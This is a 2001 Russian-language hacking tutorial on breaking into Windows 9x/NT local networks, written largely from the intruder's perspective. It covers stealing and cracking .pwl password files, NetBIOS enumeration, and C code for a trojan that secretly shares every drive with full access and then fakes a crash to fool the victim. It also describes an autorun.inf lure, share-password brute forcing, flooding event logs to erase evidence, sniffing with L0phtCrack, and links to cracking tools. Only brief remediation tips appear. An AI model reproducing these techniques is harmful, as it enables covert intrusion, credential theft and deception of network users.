www.adept7.kiev.ua
| Форум| Гостевая| Ссылки| Программы| Исходные тексты| Наши партнеры.|
   
| Главная| Рассылки| Услуги| Библиотека| Новости| Авторам| Программистам| Студентам|
delphi c++ assembler
 
Технология взлома больших локальных сетей
Часть №1

Введение.
   В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.

Итак, мы в сети.
Поставим себя на место человека, которому все очень интересно...

   И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. :) Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться...

   Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. ;) Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.

   Для машин, где используется для доступа в Internet модем, это обычно так:
(прим.: реальные пароли я забил знаком "X")


(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
                                ~~~~~~~~~~~~~~
 ¦ Enter the User Password:
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:

-[Type]-[The resource location string]--------------[Password]-
  Dial   *Rna\My Connection\ZZ-top                    XXXXXXX
  Dial   *Rna\My Connection\ZZ-TOP                    XXXXXXX
  Dial   *Rna\My Connection\ZZTOP                     XXXXXXX
  Dial   *Rna\TiNET 1\ZZTOP                       XXXXXXXXXXX
  Dial   *Rna\TiNET 2\ZZTOP                           XXXXXXX
  Dial   *Rna\TiNET\neoxars                           XXXXXXX
  Dial   *Rna\TiNET\NeoXars                           XXXXXXX
---------------------------------------------------------------
 ¦ Indexed Entryes: 1;   Number of resources: 7.

Для машин, работающих в локальных сетях, например, так:


File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:

-[Type]-[The resource location string]--------------[Password]-
  Link   ASH\EMAIL                                     XXXXXX
  Link   ASH\INTERNET                                  XXXXXX
  Link   ASH\RED                                       XXXXXX
  Link   ASH\TI_UART
  Dial ! crypt_Blizzard_Storm                           XXXXX
  Url/   www.xilinx.com/xilinx account          XXXXXX:XXXXXX
  MAPI   MAPI                                            MAPI
---------------------------------------------------------------
 _ Indexed Entryes: 4;   Number of resources: 7.

   Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;)

   Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name"

Продолжим исследование.
   Итак, что мы еще можем сделать? Вот пример: Набираем что-то типа nbtstat -a 192.168.20.30. Получаем примерно такой результат:
---------------------------------------------------------------------

      Имя                Тип          Состояние
   ----------------------------------------------------
   TOLIK          <00>  UNIQUE      Зарегистрирован
   TO-31          <00>  GROUP       Зарегистрирован
   TOLIK          <03>  UNIQUE      Зарегистрирован
   TOLIK          <20>  UNIQUE      Зарегистрирован
   TO-31          <1E>  GROUP       Зарегистрирован
   TO-31          <1D>  UNIQUE      Зарегистрирован
   ..__MSBROWSE__.<01>  GROUP       Зарегистрирован

   Адрес платы (MAC) = 00-00-21-1F-E5-92
---------------------------------------------------------------------

Что мы видим?
Workstation Service = TOLIK
Domain Name = TO-31
Messenger Service = TOLIK (т.е. можно туда отсылать сообщения net send TOLIK "...") Это имя пользователя, вошедшего в систему
File Server Service = TOLIK
Browser Service Elections = TO-31
Master Browser = TO-31
MAC адресс сетевой карты.
Это самое малое, что может показать эта команда. При наличии дополнительных сервисов на исследуемой машине будет выдано гораздо больше информации. Из нее обычно можно узнать имя пользователя, зашедшего в систему, домен/раб.гр и т.д.) Расшифровку можно получать из следующей таблицы:


  Name         Number      Type    Usage
================================================================
  computername  00         U      Workstation Service
  computername  01         U      Messenger Service
  \\_MSBROWSE_  01         G      Master Browser
  computername  03         U      Messenger Service
  computername  06         U      RAS Server Service
  computername  1F         U      NetDDE Service
  computername  20         U      File Server Service
  computername  21         U      RAS Client Service
  computername  22         U      Exchange Interchange
  computername  23         U      Exchange Store
  computername  24         U      Exchange Directory
  computername  30         U      Modem Sharing Server Service
  computername  31         U      Modem Sharing Client Service
  computername  43         U      SMS Client Remote Control
  computername  44         U      SMS Admin Remote Control Tool
  computername  45         U      SMS Client Remote Chat
  computername  46         U      SMS Client Remote Transfer
  computername  4C         U      DEC Pathworks TCPIP Service
  computername  52         U      DEC Pathworks TCPIP Service
  computername  87         U      Exchange MTA
  computername  6A         U      Exchange IMC
  computername  BE         U      Network Monitor Agent
  computername  BF         U      Network Monitor Apps
  username      03         U      Messenger Service
  domain        00         G      Domain Name
  domain        1B         U      Domain Master Browser
  domain        1C         G      Domain Controllers
  domain        1D         U      Master Browser
  domain        1E         G      Browser Service Elections
  INet~Services 1C         G      Internet Information Server
  IS~Computer_name 00      U      Internet Information Server
  computername  [2B]       U      Lotus Notes Server
  IRISMULTICAST   [2F]     G      Lotus Notes
  IRISNAMESERVER  [33]     G      Lotus Notes
  Forte_$ND800ZA  [20]     U      DCA Irmalan Gateway Service

----------------------------------------------------------------

Немного творчества.
   Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии.

Вот что я написал для демонстрации данного метода.
(Для того, чтобы кто попало не компилировал, я не даю полный листинг)
---------------------------------------------------------------------
  share_info_50 shinfo50;

  ZeroMemory(&shinfo50,sizeof(shinfo50));
  shinfo50.shi50_type=STYPE_DISKTREE;
  shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
  shinfo50.shi50_remark="";

  // Расшариваем 1-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
  shinfo50.shi50_path="C:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  // Расшариваем 2-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
  shinfo50.shi50_path="D:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  // Расшариваем 3-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
  shinfo50.shi50_path="E:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  FillMemory((VOID*)0xFFFFFFFF,1,0);
  // А это для того, чтобы программа вылетела "в трубу", и
  // пользователь подумал, что это просто сбой в системе. :) (но это
  // не обязательно)
  // P.S. Все это только для Win95/98/Me. Для NT нужно немного
  // модифицировать.
---------------------------------------------------------------------

   Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что:
1) Мы имеем полный доступ.
2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен.
3) Шара не будет видна всем в сети.

   Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидили файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались.

   Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла:


[autorun]
open=autorun.exe
icon=autorun.exe

Нам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Кладем этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:". К счастью(не для всех...), в Win2000 так сделать не удастся. Если файл autorun.inf лежит на жестком диске - он просто игнорируется системой.

   Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. :) Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):


----------------------------------------------------------------------
  // на входе параметры - char *resname, char *password
  DWORD RetVal;
  NETRESOURCE nr;
  nr.lpRemoteName=resname;
  nr.dwType=RESOURCETYPE_DISK;
  RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
----------------------------------------------------------------------

Немного теории.
   При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах.

   Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа.

   Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous "

   Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:
Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB
Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB

А теперь послушаем...
   Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора.
   Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь.

Какие есть возможности усложнить жизнь взломщику?
   Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типа DWORD "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение "2".
   Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на Сервере UInC.

К чему все это?
Снова представим себя на месте взломщика.
   Что мы можем полезного из всего извлечь? Если жертва имеет выход в Internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! :)

Маленький словарь.
* Расшаривать - от англ. "share".
* PWL - сокращение "password list file".
* Патч - от англ. "patch" - заплата.
* Сниффинг, сниффер - от англ. "sniff" - нюхать.
* Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный.

Links.
Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь:
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
Почитать подробнее про ошибку в SMB сессии Win 9x/ME можно здесь:
http://www.nsfocus.com/english/homepage/sa_05.htm

SMB вломщик, Unpassword 95, написанный мной можно скачать здесь
Альтернативные SMB вломщики:
UnPassword - http://www.bitersoft.narod.ru/unpas.htm
NetDisk Password Recover - http://www.inta.portal.ru/dark/Docs/NDPRV1_0.html
SMB Cracker - http://www.security.nnov.ru/files/smbcrkru.zip
NetBrute - http://www.rawlogic.com/netbrute/
SMB Auditing Tool(for Unix) - http://packetstormsecurity.org/Crackers/smbbf-0.9.1.tar.gz

Аналоги PQWak и сам PQWak:
PQWak - http://packetstormsecurity.org/0010-exploits/pqwak2.zip
Share Password Checker - http://www.securityfriday.com/spc_doc.html
xIntruder (работает с русскими путями) - http://www.tools-for.net/products.php?p=xintruder

PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar
L0pht Crack - http://www.atstake.com/research/lc3/index.html
L0pht Crack+ - http://lcp.chat.ru/ (русская бесплатная версия)

(c) Copyright 2001. Украина, Запорожье. KMiNT21 (mailto:kmint21@mail.ru).
uinC Member
[c]uinC

Статья написана специально для UInC (http://www.uinc.ru/).
Последняя версия статьи лежит тут.
Любые комментарии, поправки, пожелания или дополнения можно посылать сюда: mailto:kmint21@mail.ru?subj=TVBLS

57

Используются технологии uCoz

Rambler's Top100 Rambler's Top100

©  Adept Design Studio

Используются технологии uCoz